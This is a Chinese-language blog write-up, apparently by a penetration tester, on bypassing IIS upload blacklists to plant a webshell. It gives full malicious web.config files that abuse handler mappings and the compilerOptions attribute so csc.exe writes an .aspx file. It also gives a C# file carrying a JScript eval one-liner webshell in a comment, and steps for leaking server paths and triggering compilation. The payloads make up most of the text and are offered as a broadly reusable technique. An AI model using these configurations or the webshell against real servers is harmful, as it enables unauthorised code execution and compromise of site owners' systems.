0x00 前言

IIS服务器 在上传过程中,若可以自定义保存后的文件名,是可以改变配置规则来使得任意后缀的文件以asp脚本的方式来获取shell。在大多数实战中,.net站点也会默认支持asp的运行。

之前在挖掘某CMS漏洞过程中,发现某处上传存在黑名单校验(ashx/aspx/asmx/asp/asa等)不过可以上传config文件和部分自定义后缀。上传后的路径为程序的一个子目录。可利用如下web.config绕过来解析执行asp程序,颇具一定的通杀效果。(前提条件是服务器的虚拟目录中运行使用ISAPI模块)

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
        <directoryBrowse enabled="true" />
        <handlers>
            <add name="asdx" path="*.asdx" verb="GET,HEAD,POST,DEBUG" 
            modules="IsapiModule"                        
            scriptProcessor="%windir%\System32\inetsrv\asp.dll"
            resourceType="Unspecified" 
            requireAccess="Script" />
        </handlers>
    </system.webServer>
</configuration>

但也发现存在少数的情况,服务器默认不支持asp的执行,当时因为时间关系就放弃了

最近再次遇到了这样的场景,正好有时间来思考和解决

0x01 相关知识

攻击的方式简单来说很简单:既然无法解析asp,还是要通过写入aspx木马的方式来拿到权限。

虽然程序本身无法绕过,但既然运行*.config文件的写入,我们可以通过掌握使用其规则来达到的想要目的。
查阅了一些资料后,发现某外国安全研究者的一篇文章 https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and-profit-2/

该文章介绍了使用web.config文件的多种攻击姿势,其中“compilerOptions”相关介绍似乎提供了一些办法

通过web.config文件中的compilers标签可以修改编译设置,如:我们可以定义编译语言的类型 并可以匹配某些指定的后缀来进行编译。
compiler的元素,可以支持三种默认类型:C# VB.NETJscript.NET.当指定为某个类型后,在编译时会该类型对应的编译程序。如指定类型为C#时,编译会调用 csc.exe

当定义如下规则时,会对语言为C#代码的.cs的文件进行编译处理。利用csc.exe 进行编译

...
<compilers>
    <compiler language="c#"
        extension=".cs"
        type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        warningLevel="4" 
        compilerOptions=''/>
</compilers>
...

利用csc.exe编译时,可通过参数指定编译前的源文件位置,和编译后要存放的 路径及文件名称
另外,还有最重要一点,上述配置中的compilerOptions属性,可以将其值 作为参数来引入到编译器命令中。

0x02 攻击过程

了解了上述基础后,问题就迎刃而解了。
看下可控点:由于web.config内容是完全可控的,故 编译后缀,使用的编译程序,(恶意)源文件 乃至要编译后保存的路径名称 我们都可以进行控制。

如下记录下我本地环境的测试过程:

上传web.config

内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <httpRuntime targetFramework="4.67.1"/>
        <compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True"
            batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15"
            defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">
            <assemblies>
            </assemblies>
            <expressionBuilders>
            </expressionBuilders>
            <compilers>
                <compiler language="c#"
                    extension=".cs;.config"
                    type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
                    warningLevel="4" 
                    compilerOptions=""/>
            </compilers>
        </compilation>
     <customErrors mode="Off" />
    </system.web>
    <system.webServer>
        <handlers>
            <add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
            <add name="123_config" path="123.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
 </handlers>
        <security>
            <requestFiltering>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
                <fileExtensions>
                    <remove fileExtension=".config" />
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

注意,这里将 .config后缀也增加到了编译的后缀名单中。然后定义了一个123.config 作为handler。
并且开始了显错模式,<customErrors mode="Off" />。开启显错可到获取绝对路径信息,也方便解决问题。

访问后效果如下,获取到真实路径 c:\testweb\abc\

62377027.png

另外这里之所以报错,是因为 "web.config"文件本身 在访问过程中 也被进行编译处理了,但内容又是xml格式 不符合编译的语法规则,故显示了如上的错误。这里完全不影响后续的过程

上传"源文件"

这个源文件中含有 恶意代码,如一句话shell。
我使用的代码如下,网上随便复制的代码。符合C#的语法规则即可:

using System;

namespace Wrox.ProCSharp.Basics
{
 class MyFirstCSharpClass
 {
  static void Main()
  {
//<%@ Page Language="Jscript"%><%eval(Request.Item["test666"],"unsafe");%>
   Console.WriteLine("Hello World!");
   Console.ReadLine();
   return;
  }
 }
}

这里我之所以将一句话代码放在注释里,也是因为观察了解析后文件内容的结果。(放至注释中对编译前后两者均没什么影响。)
另外,这里要记下我们上传后的路径为 c:\testweb\xxoo.txt

修改web.config

解析来要修改下compilerOptions的值,传入我们的“源文件”路径,以及要保存的shell地址。
修改如下设置,并再次上传保存 web.config

compilerOptions="/resource:c:\testweb\xxoo.txt /out:c:\testweb\xxx.aspx"

接下来,就是想办法让 编译器及传入的参数正确的 执行了。直接访问web.config还是会报错,因为内容不规范。
还记得上面 定义了一个 "123.config"么,我们可以利用它来正确的“编译”shell

利用帮手

这里,我上传了一个内容为空的文件,并保存为123.config
这里内容为空 毫无影响,不仅不会引起报错 反倒会正确执行编译的过程。

上传后访问下123.config,编译成功。效果如下

63370225.png

获取shell

至此就完成了所有的步骤,访问下指定路径下的shell。
一句话成功解析,菜刀图略

63502138.png

0x03 后记

该姿势适用于场景:

  • 基于黑名单的上传,限制了aspx/ashx/asmx等后缀的写入
  • 可控的*.config被上传至某个程序子目录(虚拟目录)
  • IIS不支持ISAPI 和Razor,无法解析执行asp,cshtml等后缀

然后,有时间要系统了解下web.config 配置。

0x04 补充

在虚拟目录下,无法直接利用web.config来指定自定义后缀文件按照aspx来解析。
当利用上述姿势上传至某个upload目录或子目录中,且该层web.config中定义了静态后缀时,直接访问aspx或ashx会被下载。
可传入如下内容,覆盖上层规则达到解析效果:

<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Script, Write">
     <add name="xxx_aspx" path="xxx.aspx" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
            <add name="xxx_aspx-Classic" path="xxx.aspx" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
        </handlers>
        <security>
            <requestFiltering>
                <fileExtensions>
                    <remove fileExtension=".config" />
                </fileExtensions>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
            </requestFiltering>
        </security>
        <validation validateIntegratedModeConfiguration="false" />
    </system.webServer>
    <system.web>
        <httpHandlers>
     <add path="xxx.aspx" type="System.Web.UI.PageHandlerFactory" verb="*" />
        </httpHandlers>
        <compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True"
            batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15"
            defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">
            <assemblies>
            </assemblies>
            <expressionBuilders>
            </expressionBuilders>
        </compilation>
        <customErrors mode="Off" />
    </system.web>
</configuration>

IIS服务器有自己的保护机制,buildProviders中绑定的后缀,只能由应用程序的根路径的web.config来定义。

标签: none

添加新评论